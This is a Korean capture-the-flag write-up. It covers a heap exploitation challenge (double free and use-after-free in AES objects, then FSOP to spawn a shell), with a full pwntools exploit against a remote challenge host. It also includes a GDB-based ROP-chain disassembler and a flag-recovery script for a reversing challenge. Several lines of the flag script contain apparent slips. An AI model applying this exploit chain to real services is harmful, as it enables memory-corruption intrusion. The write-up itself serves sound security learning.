마지막 노드를 삭제시 정상적으로 free가 된다. 하지만 중간 노드에 대해 삭제를 진행하면, dangling pointer가 남게 되고, double free가 발생할 수 있다. fastbin에서 free 검증이 널널하다는 것을 생각하면, dfb도 트리거가 가능해진다.
std::istream::operator>>((int64_t)&std::cin, (int64_t)&len);
if ( len > 0x400 || (len & 0xF) != 0 )
{
v0 = std::operator<<<std::char_traits<char>>((int64_t)&std::cout, (int64_t)"Invalid {plain,cipher}text length");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
exit(0);
}
if ( nbytes != len )
buf = (void *)operator new[](len);
nbytes = len;
std::operator<<<std::char_traits<char>>((int64_t)&std::cout, (int64_t)"Enter {plain,cipher}text: ");
read(0, buf, nbytes);
return __readfsqword(0x28u) ^ v3;
여기서 freed chunk 대해서 reclaim이 가능하다. 또한 잠재적인 UAF가 발생할 수 있다.
Exploit script
'''
1) AES256 Vulnerable OoB READ while initializing Key.
2) deleting aes object triggers UAF.
3) buf reclaim leads to memleak.
'''
from pwn import *
\#p = process('./out.bin')
p = remote('host3.dreamhack.games', 18810)
context.binary = e = ELF('./out.bin')
libc = ELF('./bc.so.6')
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
rvu = lambda x : p.recvuntil(x)
def create_AES_object(keysz):
sla(b'>>',str(1))
sla(b'size: ',str(keysz))
def remove_AES_object(idx):
sla(b'>>',str(2))
sla(b'delete',str(idx))
def set_plain_cipher_txt(sz, payload):
assert sz&0xf==0
sla(b'>>',str(3))
sla(b'length:',str(sz))
sa(b'text: ',payload)
def encrypt(idx):
sla(b'>> ',str(4))
sla(b'?',str(idx))
for i in range(20): # 11
create_AES_object(128)
for i in range(19,12,-1): # 10
remove_AES_object(i)
remove_AES_object(6) # free
# vect[3] = vect[4], vect[5]
remove_AES_object(4)
# vect[1] = vect[2], vect[4]
remove_AES_object(4)
# for i in range(6):
# set_plain_cipher_txt(0x20,b'\xa0')
# set_plain_cipher_txt(0x10,b'\xa0')
for i in range(3):
create_AES_object(128)
set_plain_cipher_txt(0x20,b'\xa0')
create_AES_object(128)
set_plain_cipher_txt(0x10,b'\xa0')
set_plain_cipher_txt(0x20,b'\xe8')
encrypt(4)
rv = (p.recv(0x20))
bin_base = u64(rv[:8]) - 0x00DBE8
heap = u64(rv[16:16+8])
success(hex(heap))
success(hex(bin_base))
remove_AES_object(3)
set_plain_cipher_txt(0x20,p64(bin_base+0x0E030)+p64(0))
set_plain_cipher_txt(0x10,b'\xa0')
set_plain_cipher_txt(0x20,p64(bin_base + 0x00DBE8))
set_plain_cipher_txt(0x10,b'\xa0')
set_plain_cipher_txt(0x20,p64(0))
encrypt(3)
rv = (p.recv(0x20))
libc_base = u64(rv[16:24]) - libc.sym._IO_2_1_stdout_
success(hex(libc_base))
vtable = 0x1e9260 + libc_base
payload_start = heap -0x29b0
payload = b''
payload += p64(0x00000000fbad2084)
payload += p64(0) * 12
payload += p64(libc_base + libc.sym._IO_2_1_stdin_)
payload += p64(1)
payload += p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(heap) # lock
payload += p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(heap+0x20)
payload += p64(0)*6
payload += p64(vtable)
payload += p64(payload_start + len(payload)+8)
payload += p64(0) * 7
payload += p64(libc_base + libc.sym["system"])
payload += p64(0)
payload += p64(libc_base+ next(libc.search(b'/bin/sh')))
payload += p64(1)
assert len(payload) < 0x200
remove_AES_object(2)
stdcpp_target= libc_base + 0x1ded60 + 0x20d000 + 0x40
set_plain_cipher_txt(0x200,payload)
set_plain_cipher_txt(0x20,p64(stdcpp_target)+p64(0))
remove_AES_object(1)
set_plain_cipher_txt(0x20,p64(stdcpp_target)+p64(0))
remove_AES_object(0)
set_plain_cipher_txt(0x20,p64(stdcpp_target)+p64(0)) # set target
set_plain_cipher_txt(0x10,p64(bin_base+0x0E030)+p64(0))
set_plain_cipher_txt(0x20,p64(0xdeadbeef))
set_plain_cipher_txt(0x10,p64(bin_base+0x0E030)+p64(0))
pause()
set_plain_cipher_txt(0x20,p64(payload_start))
success(payload_start)
# remove_AES_object(1)
# set_plain_cipher_txt(0x20,p64(bin_base+0x0E030)+p64(0))
# pause()
# set_plain_cipher_txt(0x20,p64(0)*3+p64(payload_start))
# remove_AES_object(3)
# set_plain_cipher_txt(0x20,p64(bin_base+0x0E030)+p64(0))
# for i in range(2):
# set_plain_cipher_txt(0x20,b'\x30')
# set_plain_cipher_txt(0x10,b'A')
# set_plain_cipher_txt(0x20,b'\x30')
# create_AES_object(128)
# set_plain_cipher_txt(0x20,p64(bin_base + 0x0DBE8)+p64(0)) # can be changed to heap
# set_plain_cipher_txt(0x10,b'A')
# set_plain_cipher_txt(0x20,b'A')
# encrypt(1)
# rv = (p.recv(0x20))
p.interactive()
double free를 이용해서 AES_object + 0x0에 위치한 vtable을 dummy vtable로 수정하고 encrypt를 호출해 plain text를 노출시켜서 메모리 릭을 할 수 있다. 이후 stdout을 릭하고 이를 덮어서 FSOP를 했다.
Lor - Diablo (pwn) & LoR - mechagolem (rev)
Analysis
리버싱 겸 포너블이였다. 먼저 디스어셈블러를 짜고 편의기능을 추가해서 분석을 시도했다.
import gdb
import struct
inf = gdb.selected_inferior()
start = 0x34785000
end = 0x3478a2d0
tmp = inf.read_memory(start,end-start)
chains = []
for i in range(((end-start)//8)):
chains.append(struct.unpack('<Q', tmp[i*8:i*8+8])[0])
print('chains ready')
# var_564edd86b078 = length
gads = []
i = 0
while i < len(chains):
ele = chains[i]
if 'r-x' in gdb.execute(f'xinfo {ele}',to_string=True):
out = gdb.execute(f'x/20xi {ele}',to_string=True)
if ele not in gads:
gads.append(ele)
lines = out.split('\n')
for line in lines:
pass
# print(line.split('\t')[-1])
if 'ret' in line:
break
else:
pass
# print(hex(ele))
i += 1
gads_ = []
c = 0
for i in gads:
out = gdb.execute(f'x/20xi {i}',to_string = True)
lines = out.split('\n')
gads_.append([])
for line in lines:
gads_[c].append(line.split('\t')[-1])
if 'ret' in line:
break
c += 1
# c = 0
# for i in gads_:
# print(f'{hex(start+i*8)}: gads_[{c}] : '+';'.join(i))
# c += 1
rax = 0
rbx = 0
rcx = 0
rdx = 0
rdi = 0
rsi = 0
r8 = 0
rbp = 0
rsp = 0
eflags = 0
const_1 = 0
bin_base = 0x000055765999c000
variables = {
0x12078 + bin_base : f'usr_input_len_{hex(bin_base+0x12078)[2:]}',
0x12068 + bin_base : f'iterator_{hex(bin_base + 0x12068)[2:]}',
0x12060 + bin_base : f'tmp_{hex(bin_base+0x12060)[2:]}'
}
ambig = 0b1
confi = 0b10
ambig_ptr = 0b100
reg_state ={
'rax' : ambig,
'rbx' : ambig,
'rcx' : ambig,
'rdx' : ambig,
'rdi' : ambig,
'rsi' : ambig,
'r8' : ambig,
'rbp' : ambig,
'rsp' : ambig,
'eflags' : ambig
}
def process(addr):
global i, chains, gads, rax, rbx, rcx, rdx, rdi, rsi, r8 ,rbp, rsp, eflags
global variables, reg_state, ambig, confi
if addr == gads[0]:
if not const_1:
if i == 0:
print('-------- main() ---------')
elif start+i*8 == 0x34785440:
print('-------- exit_internal() ---------')
print(f'{hex(start+i*8)}: rdx = {chains[i+1]} ; r12 = {chains[i+2]}')
rdx = chains[i+1]
r12 = chains[i+2]
reg_state['rdx'] = confi | ambig_ptr
reg_state['r12'] = confi | ambig_ptr
i += 2
elif addr == gads[1]:
if not const_1:
print(f'{hex(start+i*8)}: rsi = {chains[i+1]}')
rsi = chains[i+1]
reg_state['rsi'] = confi | ambig_ptr
i += 1
elif addr == gads[2]:
if not const_1:
print(f'{hex(start+i*8)}: rdi = {chains[i+1]}')
rdi = chains[i+1]
reg_state['rdi'] = confi | ambig_ptr
i += 1
elif addr == gads[3]:
if not const_1:
if start+i*8 == 0x34785390:
print('-------- encode() ---------')
elif start+i*8 == 0x347853c8:
print('-------- print() ---------')
elif start+i*8 == 0x34785400:
print('-------- exit() ---------')
elif start+i*8 == 0x347855d8:
print('-------- encode_internal() ---------')
print(f'{hex(start+i*8)}: rax = {chains[i+1]}')
rax = chains[i+1]
reg_state['rax'] = confi | ambig_ptr
i += 1
elif addr == gads[4]:
if rax == 1:
if reg_state['rdi'] & confi and reg_state['rdx'] & confi and reg_state['rsi'] & confi:
out = gdb.execute(f'x/s {rsi}',to_string = True)
out = (out[out.index('"'):-1])
print(f'{hex(start+i*8)}: sys_write({rdi}, {hex(rsi)}, {rdx}) // {out}')
rax = rdx
reg_state['rax'] |= confi
else:
if reg_state['rdi'] & confi:
if reg_state['rdx'] & confi:
print(f'{hex(start+i*8)}: sys_write({rdi}, {hex(rsi)}, {rdx})')
rax = rdx
reg_state['rax'] = confi
else:
print(f'{hex(start+i*8)}: sys_write({rdi}, {hex(rsi)}, rdx)')
reg_state['rax'] = ambig
else:
print(f'{hex(start+i*8)}: sys_write(rdi, rsi, rdx)')
reg_state['rax'] = ambig
elif rax == 0:
if rsi not in variables.keys() and reg_state['rsi'] &confi:
varname = hex(rsi).replace('0x','')
variables[rsi] = f'buf_{varname}'
if reg_state['rdx'] & confi:
if reg_state['rdi'] & confi:
if reg_state['rsi'] & confi:
print(f'{hex(start+i*8)}: sys_read({rdi}, {variables[rsi]}, {rdx})')
else:
print(f'{hex(start+i*8)}: sys_read({rdi}, rsi , {rdx})')
else:
print(f'{hex(start+i*8)}: sys_read(rdi, {variables[rsi]}, {rdx})')
rax = rdx
reg_state['rax'] = confi
else:
if reg_state['rdi'] & confi:
print(f'{hex(start+i*8)}: sys_read({rdi}, {variables[rsi]}, rdx)')
else:
print(f'{hex(start+i*8)}: sys_read(rdi, {variables[rsi]}, rdx)')
reg_state['rsi'] = confi
reg_state['rax'] = ambig
elif rax == 60:
if reg_state['rdi'] & confi:
print(f'{hex(start+i*8)}: sys_exit({rdi})')
else:
print(f'{hex(start+i*8)}: sys_exit(rdi)')
else:
print(f'{hex(start+i*8)}: syscall_{rax} ({rdi}, {rsi}, {rdx})')
elif addr == gads[5]:
if not const_1:
if reg_state['rax'] & confi:
if rax in variables.keys():
print(f'{hex(start+i*8)}: rax = (QWORD)({variables[rax]})')
else:
print(f'{hex(start+i*8)}: rax = *(QWORD *)(rax) // *(QWORD *){hex(rax)}')
else:
print(f'{hex(start+i*8)}: rax = *(QWORD *)(rax)')
reg_state['rax'] = ambig | ambig_ptr
rax = 0xdeadbeef
elif addr == gads[6]:
if reg_state['rsi'] & confi:
if reg_state['rax'] & confi:
reg_state['rax'] = confi
else:
reg_state['rax'] = ambig
else:
reg_state['rax'] = ambig
if not const_1:
if reg_state['rsi'] & confi:
if reg_state['rax'] & confi:
print(f'{hex(start+i*8)}: eax &= esi // eax = {(rax)} & {(rsi)}')
reg_state['rax'] = confi
else:
print(f'{hex(start+i*8)}: eax &= esi // eax &= {(rsi)}')
reg_state['rax'] = ambig
else:
print(f'{hex(start+i*8)}: eax &= esi')
reg_state['rax'] = ambig
rax &= rsi&0xffffffff
elif addr == gads[7]:
if not const_1:
if reg_state['rdi'] & confi:
if reg_state['rax'] & confi:
print(f'{hex(start+i*8)}: rax -= rdi // rax = {(rax)} - {(rdi)}')
reg_state['rax'] = confi
reg_state['eflags'] = confi
eflags = (rax - rdi)&0xfffffffffffffffff == 0
else:
print(f'{hex(start+i*8)}: rax -= rdi // rax -= {(rdi)}')
reg_state['rax'] = ambig
reg_state['eflags'] = ambig
else:
print(f'{hex(start+i*8)}: rax -= rdi')
reg_state['rax'] = ambig
reg_state['eflags'] = ambig
rax -= rdi
rax &= 0xffffffffffffffff
elif addr == gads[8]:
if not const_1:
if reg_state['eflags'] &ambig:
if reg_state['rax'] & confi:
if reg_state['rdx'] & confi:
print(f'{hex(start+i*8)}: if true -> rax = {hex(rdx)} else -> rax = {hex(rax)}')
else:
print(f'{hex(start+i*8)}: if true -> rax = {hex(rdx)} else -> rax = rax')
else:
print(f'{hex(start+i*8)}: if true -> rax = rdx else -> rax = rax')
reg_state['rax'] = ambig
else:
if eflags:
if reg_state['rax'] & confi:
print(f'{hex(start+i*8)}: rax = {hex(rdx)}')
else:
print(f'{hex(start+i*8)}: rax = rdx')
else:
if reg_state['rdx'] & confi:
print(f'{hex(start+i*8)}: rax = {hex(rdx)}')
else:
pass
reg_state['rax'] = ambig | ambig_ptr
rax = 0xdeadbeef
elif addr == gads[9]:
if not const_1:
if reg_state['rax'] & ambig:
print(f'{hex(start+i*8)}: rdx |= rax')
reg_state['rdx'] = ambig
rdx = 0xdeadbeef
else:
print(f'{hex(start+i*8)}: rdx |= rax // rdx |= {rax}')
reg_state['rdx'] = confi
rdx |= rax
elif addr == gads[10]:
if not const_1:
if reg_state['rdx'] & confi:
if rdx == 0x34785050:
print(f'{hex(start+i*8)}: rsp = rdx // rsp = main+0x50 // back to menu')
elif rdx == 0x34785370:
print(f'{hex(start+i*8)}: rsp = rdx // rsp = main+0x370 // back to menu')
else:
print(f'{hex(start+i*8)}: rsp = rdx // rsp = {hex(rdx)}')
reg_state['rsp'] = confi
rsp = rdx
else:
print(f'{hex(start+i*8)}: rsp = rdx')
reg_state['rsp'] = ambig
rsp = 0xdeadbeef
elif addr == gads[11]: # mroe interpretation required
if not const_1:
if reg_state['rax'] & confi:
print(f'{hex(start+i*8)}: inc idx ; stack[idx] = rsp ; rsp = {hex(rax)}')
reg_state['rsp'] = confi
rsp = rax
else:
print(f'{hex(start+i*8)}: inc idx ; stack[idx] = rsp ; rsp = rax')
reg_state['rsp'] = ambig
elif addr == gads[12]:
if not const_1:
if reg_state['rbp'] & confi:
print(f'{hex(start+i*8)}: mov rsp, {(rbp)} ; pop rbp')
else:
if start+i*8 == 0x34785438:
print('-------- function_4() ---------')
print(f'{hex(start+i*8)}: mov rsp, rbp ; pop rbp')
if reg_state['rbp'] & confi:
rsp = rbp
reg_state['rsp'] = confi
reg_state['rbp'] = ambig
rbp = 0xdeadbeef
elif addr == gads[13]:
if not const_1:
if reg_state['rax'] & confi:
print(f'{hex(start+i*8)}: r8d = eax; eax = r8d')
r8 = rax &0xffffffff
rax = r8
reg_state['r8'] = confi
else:
print(f'{hex(start+i*8)}: r8d = eax; eax = r8d')
r8 = 0xdeadbeef
rax = r8
reg_state['r8'] = ambig
elif addr == gads[14]:
if not const_1:
if reg_state['rax'] & confi:
print(f'{hex(start+i*8)}: rax -= 1 // rax = {rax} - 1')
rax -= 1
rax &=0xffffffffffffffff
else:
print(f'{hex(start+i*8)}: rax -= 1')
rax = 0xdeadbeef
reg_state['rax'] = ambig
elif addr == gads[15]:
if rdx not in variables.keys() and reg_state['rdx'] &confi:
varname = hex(rdx).replace('0x','')
variables[rdx] = f'var_{varname}'
if not const_1:
if reg_state['rax'] & confi:
if reg_state['rdx'] & confi:
print(f'{hex(start+i*8)}: (QWORD){variables[rdx]} = {rax}')
else:
print(f'{hex(start+i*8)}: *(QWORD *)(rdx) = {rax}')
elif reg_state['rdx'] & confi:
print(f'{hex(start+i*8)}: *(QWORD *)({variables[rdx]}) = rax')
else:
print(f'{hex(start+i*8)}: *(QWORD *)(rdx) = rax')
# must write memory
elif addr == gads[16]:
if rsi not in variables.keys() and reg_state['rsi'] &confi:
varname = hex(rsi).replace('0x','')
variables[rsi] = f'var_{varname}'
if not const_1:
if reg_state['rsi'] & confi:
if reg_state['rdi'] & confi:
print(f'{hex(start+i*8)}: (QWORD)({variables[(rsi)]}) = {rdi}')
else:
print(f'{hex(start+i*8)}: (QWORD)({variables[(rsi)]}) = rdi')
elif reg_state['rdi'] & confi:
print(f'{hex(start+i*8)}: *(QWORD *)(rsi) = {rdi}')
else:
print(f'{hex(start+i*8)}: *(QWORD *)(rsi) = rdi')
# must write memory
elif addr == gads[17]:
if not const_1:
if reg_state['rdi'] & confi:
if (rdi+0x18) in variables:
print(f'{hex(start+i*8)}: rax -= (QWORD)({variables[rdi+0x18]})')
else:
print(f'{hex(start+i*8)}: rax -= *(QWORD *)({rdi+0x18})')
else:
print(f'{hex(start+i*8)}: rax -= *(QWORD *)(rdi+0x18)')
reg_state['rax'] = ambig
rax = 0xdeadbeef
elif addr == gads[18]:
if not const_1:
print(f'{hex(start+i*8)}: rbx = {chains[i+1]}')
reg_state['rbx'] = confi
rbx = chains[i+1]
i += 1
elif addr == gads[19]:
if not const_1:
print(f'{hex(start+i*8)}: rax += rbx ; rbx = {chains[i+1]} ; rbp = {chains[i+2]} ; r12 = {chains[i+3]} ; r13 = {chains[i+4]}')
rax += rbx
rax &= 0xffffffffffffffff
rbx = chains[i+1]
rbp = chains[i+2]
r12 = chains[i+3]
r13 = chains[i+4]
reg_state['rbx'] = confi
reg_state['rbp'] = confi
reg_state['r12'] = confi
reg_state['r13'] = confi
i += 4
elif addr == gads[20]:
if not const_1:
print(f'{hex(start+i*8)}: rcx = {chains[i+1]}')
rcx = chains[i+1]
reg_state['rcx'] = confi
i += 1
elif addr == gads[21]:
if rdi not in variables.keys() and reg_state['rdi'] &confi:
varname = hex(rdi).replace('0x','')
variables[rdi] = f'var_{varname}'
if not const_1:
if reg_state['rdi'] & confi:
print(f'{hex(start+i*8)}: rax <<= cl ; (QWORD)({variables[rdi]}) |= rax ; eax = 0')
else:
print(f'{hex(start+i*8)}: rax <<= cl ; *(QWORD *)(rdi) |= rax ; eax = 0')
rax <<= (rcx&0xff)
reg_state['rax'] = confi
rax = 0
\#mem accesss needed
elif addr == gads[22]:
if rax not in variables.keys() and reg_state['rax'] &confi:
varname = hex(rax).replace('0x','')
variables[rax] = f'var_{varname}'
if not const_1:
if reg_state['rax'] & confi:
print(f'{hex(start+i*8)}: (DWORD)({variables[rax]}) += 1')
else:
print(f'{hex(start+i*8)}: *(DWORD *)(rax) += 1')
elif addr == gads[23]:
if not const_1:
print(f'{hex(start+i*8)}: invalid ops')
elif addr == gads[24]:
if not const_1:
if reg_state['rdi'] & confi:
print(f'{hex(start+i*8)}: rax += {rdi}')
else:
print(f'{hex(start+i*8)}: rax += rdi')
if reg_state['rax'] & confi and reg_state['rdi'] & confi:
rax += rdi
rax &= 0xffffffffffffffff
elif addr == gads[25]:
if not const_1:
print(f'{hex(start+i*8)}: rax >>= 6')
if reg_state['rax'] & confi:
rax >>= 6
else:
rax = 0xdeadbeef
elif addr == gads[26]:
if not const_1:
if reg_state['rdx'] & confi:
if reg_state['rax'] & confi:
print(f'{hex(start+i*8)}: *(BYTE *)({rdx}) = {rax&0xff} ; rax = rdi')
else:
print(f'{hex(start+i*8)}: *(BYTE *)({rdx}) = rax ; rax = rdi')
else:
print(f'{hex(start+i*8)}: *(BYTE *)(rdx) = rax ; rax = rdi')
if reg_state['rdi'] & confi:
reg_state['rax'] = confi
rax = rdi
else:
rax = 0xdeadbeef
# memory access needed
rax = rdi
elif addr == gads[27]:
if not const_1:
print(f'{hex(start+i*8)}: eax *= 2')
if reg_state['rax'] & confi:
rax *= 2
rax &=0xffffffff
else:
rax = 0xdeadbeef
elif addr == gads[28]: # more
if not const_1:
print(f'{hex(start+i*8)}: rsp = stack[idx] ; idx -= 1')
elif addr == gads[29]:
if not const_1:
print(f'{hex(start+i*8)}: xchg edi, eax')
if reg_state['rax'] & confi and reg_state['rdi'] & confi:
tmp = rdi&0xffffffff
rdi = rax&0xffffffff
rax = tmp
elif addr == gads[30]:
if not const_1:
print(f'{hex(start+i*8)}: eax <<= 0x17 ; ecx |= eax')
if reg_state['rax'] & confi :
rax <<= 0x17
rax &=0xffffffff
if reg_state['rcx'] & conf :
rcx |= (rax&0xffffffff)
else:
rcx = 0xdeadbeef
else:
rax = 0xdeadbeef
else:
print('GG')
exit()
i = 0
while i < len(chains):
ele = chains[i]
if 'r-x' in gdb.execute(f'xinfo {ele}',to_string=True):
process(ele)
# break
else:
pass
print(f'{hex(start+i*8)}: {hex(ele)}')
i += 1
나름대로 레지스터들의 상태를 기록하고 그 시점에 연산이 가능한지 아닌지에 대해서 판단을 해서, 연산이 가능하면 주석으로 그 결과를 표시한다. 시스템 콜의 번호들도 그 시점에 연산이 가능한 경우 직접 sys_read 같은 시스템 콜로 래핑해서 출력한다.
chains ready
-------- main() ---------
0x34785000: rdx = 23 ; r12 = 0
0x34785018: rsi = 93966797815905
0x34785028: rdi = 1
0x34785038: rax = 1
0x34785048: sys_write(1, 0x5576599ac061, 23) // "Simple Base64 Encoder!\n"
0x34785050: rdx = 29 ; r12 = 0
0x34785068: rsi = 93966797815950
0x34785078: rdi = 1
0x34785088: rax = 1
0x34785098: sys_write(1, 0x5576599ac08e, 29) // "1. Encode\n2. Print\n3. Exit\n> "
0x347850a0: rdx = 2 ; r12 = 0
0x347850b8: rsi = 93966797857408
0x347850c8: rdi = 0
0x347850d8: rax = 0
0x347850e8: sys_read(0, buf_5576599b6280, 2)
0x347850f0: rdi = 2609
0x34785100: rax = 93966797857408
0x34785110: rax = (QWORD)(buf_5576599b6280)
0x34785118: rsi = 65535
0x34785128: eax &= esi // eax &= 65535
0x34785130: rax -= rdi // rax -= 2609
0x34785138: rax = 880300432
0x34785148: rdx = 880300944 ; r12 = 0
0x34785160: if true -> rax = 0x34785390 else -> rax = 0x34785190
0x34785168: rdx = 0 ; r12 = 4294967295
이런식으로 결과가 출력된다.
Rev sol
0x34788db8: rdx = 880315912 ; r12 = 0
0x34788dd0: if true -> rax = 0x34788e08 else -> rax = 0x3478a218
0x34788dd8: rdx = 0 ; r12 = 4294967295
0x34788df0: rdx |= rax
0x34788df8: rsp = rdx
0x34788e00: invalid ops
0x34788e08: rax = 93966797857408
0x34788e18: rbx = 41
0x34788e28: rax += rbx ; rbx = 93966797857408 ; rbp = 0 ; r12 = 0 ; r13 = 4294967295
0x34788e50: rax = *(QWORD *)(rax) // *(QWORD *)0x5576599b62a9
0x34788e58: rsi = 255
0x34788e68: eax &= esi // eax &= 255
0x34788e70: rdi = 414588904
0x34788e80: xchg edi, eax
0x34788e88: rax >>= 6
0x34788e90: rsi = 255
0x34788ea0: rax >>= 6
0x34788ea8: eax &= esi // eax &= 255
0x34788eb0: xchg edi, eax
0x34788eb8: rax -= rdi // rax -= 414588904
0x34788ec0: rax = 880321048
0x34788ed0: rdx = 880316192 ; r12 = 0
0x34788ee8: if true -> rax = 0x34788f20 else -> rax = 0x3478a218
0x34788ef0: rdx = 0 ; r12 = 4294967295
0x34788f08: rdx |= rax
0x34788f10: rsp = rdx
0x34788f18: invalid ops
0x34788f20: rax = 93966797857408
0x34788f30: rbx = 42
0x34788f40: rax += rbx ; rbx = 93966797857408 ; rbp = 0 ; r12 = 0 ; r13 = 4294967295
0x34788f68: rax = *(QWORD *)(rax) // *(QWORD *)0x5576599b62aa
0x34788f70: rsi = 255
0x34788f80: eax &= esi // eax &= 255
0x34788f88: eax *= 2
0x34788f90: eax *= 2
0x34788f98: rdi = 392
0x34788fa8: rax -= rdi // rax -= 392
0x34788fb0: rax = 880321048
0x34788fc0: rdx = 880316432 ; r12 = 0
0x34788fd8: if true -> rax = 0x34789010 else -> rax = 0x3478a218
0x34788fe0: rdx = 0 ; r12 = 4294967295
0x34788ff8: rdx |= rax
0x34789000: rsp = rdx
0x34789008: invalid ops
0x34789010: rax = 93966797857408
0x34789020: rbx = 43
0x34789030: rax += rbx ; rbx = 93966797857408 ; rbp = 0 ; r12 = 0 ; r13 = 4294967295
0x34789058: rax = *(QWORD *)(rax) // *(QWORD *)0x5576599b62ab
0x34789060: rsi = 255
0x34789070: eax &= esi // eax &= 255
0x34789078: rdi = 912316478
0x34789088: xchg edi, eax
0x34789090: rsi = 4286578688
0x347890a0: eax &= esi // eax &= 4286578688
0x347890a8: xchg edi, eax
0x347890b0: eax <<= 0x17 ; ecx |= eax
0x347890b8: rax -= rdi // rax -= 912316478
0x347890c0: rax = 880321048
0x347890d0: rdx = 880316704 ; r12 = 0
0x347890e8: if true -> rax = 0x34789120 else -> rax = 0x3478a218
0x347890f0: rdx = 0 ; r12 = 4294967295
0x34789108: rdx |= rax
0x34789110: rsp = rdx
0x34789118: invalid ops
0x34789120: rax = 93966797857408
0x34789130: rbx = 44
0x34789140: rax += rbx ; rbx = 93966797857408 ; rbp = 0 ; r12 = 0 ; r13 = 4294967295
0x34789168: rax = *(QWORD *)(rax) // *(QWORD *)0x5576599b62ac
0x34789170: rsi = 255
0x34789180: eax &= esi // eax &= 255
0x34789188: rdi = 1699151259
0x34789198: xchg edi, eax
0x347891a0: rax >>= 6
0x347891a8: rsi = 255
0x347891b8: rax >>= 6
0x347891c0: eax &= esi // eax &= 255
0x347891c8: xchg edi, eax
0x347891d0: rax -= rdi // rax -= 1699151259
0x347891d8: rax = 880321048
0x347891e8: rdx = 880316984 ; r12 = 0
0x34789200: if true -> rax = 0x34789238 else -> rax = 0x3478a218
0x34789208: rdx = 0 ; r12 = 4294967295
0x34789220: rdx |= rax
0x34789228: rsp = rdx
0x34789230: invalid ops
0x34789238: rax = 93966797857408
0x34789248: rbx = 45
0x34789258: rax += rbx ; rbx = 93966797857408 ; rbp = 0 ; r12 = 0 ; r13 = 4294967295
0x34789280: rax = *(QWORD *)(rax) // *(QWORD *)0x5576599b62ad
0x34789288: rsi = 255
0x34789298: eax &= esi // eax &= 255
0x347892a0: eax *= 2
0x347892a8: eax *= 2
0x347892b0: rdi = 500
0x347892c0: rax -= rdi // rax -= 500
0x347892c8: rax = 880321048
0x347892d8: rdx = 880317224 ; r12 = 0
0x347892f0: if true -> rax = 0x34789328 else -> rax = 0x3478a218
0x347892f8: rdx = 0 ; r12 = 4294967295
0x34789310: rdx |= rax
0x34789318: rsp = rdx
0x34789320: invalid ops
0x34789328: rsi = 93966797856896
0x34789338: rdi = 1095002458
0x34789348: xchg edi, eax
0x34789350: rax >>= 6
0x34789358: rax >>= 6
0x34789360: rax >>= 6
0x34789368: rax >>= 6
0x34789370: xchg edi, eax
0x34789378: (QWORD)(var_5576599b6080) = 1095002458
0x34789380: rdi = 1
0x34789390: rdx = 1 ; r12 = 0
0x347893a8: rax = 1
0x347893b8: sys_write(1, 0x5576599b6080, 1) // "\n"
리버싱같은 경우에는 마지막에 검증 로직이 한글자씩 박혀있어서 이를 연산하면 구할 수 있다.
Rev sol script
def encode(input):
output = ''
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
padding = 'QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB'
input = input.encode()
for i in range(len(input)//3):
r = input[i*3:i*3+3]
tmp = (r[0] << 16) | (r[1] << 8) | (r[2] << 0)
for j in range(3,-1,-1):
output += table[(tmp>>(6*j))&63]
output += padding[len(input):]
return output
print(encode('ABCABCABC'))
# AUTH START 0x34786168
FLAG = [0 for i in range(100)]
FLAG[0] = 160 // 2
FLAG[1] = 320 // 2 // 2
FLAG[2] = 0x27800000 >> 0x17
FLAG[3] = 3926177678 >> 6 >> 6
FLAG[3] &= 0xff
FLAG[4] = 260 //2 //2
FLAG[5] = (1039200116 & 4286578688) >> 0x17
FLAG[6] = 684128790 >> 6 >> 6
FLAG[6] &= 0xff
FLAG[7] = 428//2//2
FLAG[8] = (4286578688&799156286) >> 0x17
FLAG[9] = 1578560217 >> 6 >> 6
FLAG[9] &= 0xff
FLAG[10] = 444//2 //2
FLAG[11] = (1002022558&4286578688) >> 0x17
FLAG[12] = 2256925353 >> 6 >> 6
FLAG[12] &= 0xff
FLAG[13] = 444 // 2 // 2
FLAG[14] = (941616977 & 4286578688) >> 0x17
FLAG[15] = 3418772988 >> 6 >> 6
FLAG[16] &= 0xff
FLAG[17] = 440 // 2// 2
FLAG[18] = (797988891&4286578688) >> 0x17
FLAG[19] = 1995915979 >> 6 >> 6
FLAG[19] &= 0xff
FLAG[20] = 416 // 2// 2
FLAG[21] = (848734036&4286578688) >> 0x17
FLAG[22] = 3608542792 >> 6 >> 6
FLAG[22] &= 0xff
FLAG[23] = 412 // 2// 2
FLAG[24] = (4286578688 & 816513309) >> 0x17
FLAG[25] = 3969338450 >> 6 >> 6
FLAG[25] &= 0xff
FLAG[26] = 404 // 2//2
FLAG[27] = (802522653&4286578688) >> 0x17
FLAG[28] = 3063290591 >> 6 >> 6
FLAG[29] &= 0xff
FLAG[30] = 440 //2 //2
FLAG[31] = (843560064&4286578688) >> 0x17
FLAG[32] = 2364930504 >> 6 >>6
FLAG[32] &= 0xff
FLAG[33] = 428 // 2//2
FLAG[34] = (883494366&4286578688) >> 0x17
FLAG[35] = 927384544>> 6>> 6
FLAG[35] &= 0xff
FLAG[36] = 432 // 2 // 2
FLAG[37] = (805135607&4286578688) >> 0x17
FLAG[38] = 2395425389 >> 6 >> 6
FLAG[39] &= 0xff
FLAG[40] = 416 // 2// 2
FLAG[41] = (851439545 & 4286578688) >> 0x17
FLAG[42] = 4091936035 >> 6>> 6
FLAG[42] &=0xff
FLAG[43] = 400//2//2
FLAG[44] = (888487573&4286578688) >> 0x17
FLAG[45] = 414588904 >> 6 >> 6
FLAG[45] &= 0xff
FLAG[46] = 392 //2 //2
FLAG[47] = (912316478&286578688) >> 0x17
FLAG[48] = 1699151259 >> 6>>6
FLAG[48] &= 0xff
for i in FLAG:
print(chr(i),end='')
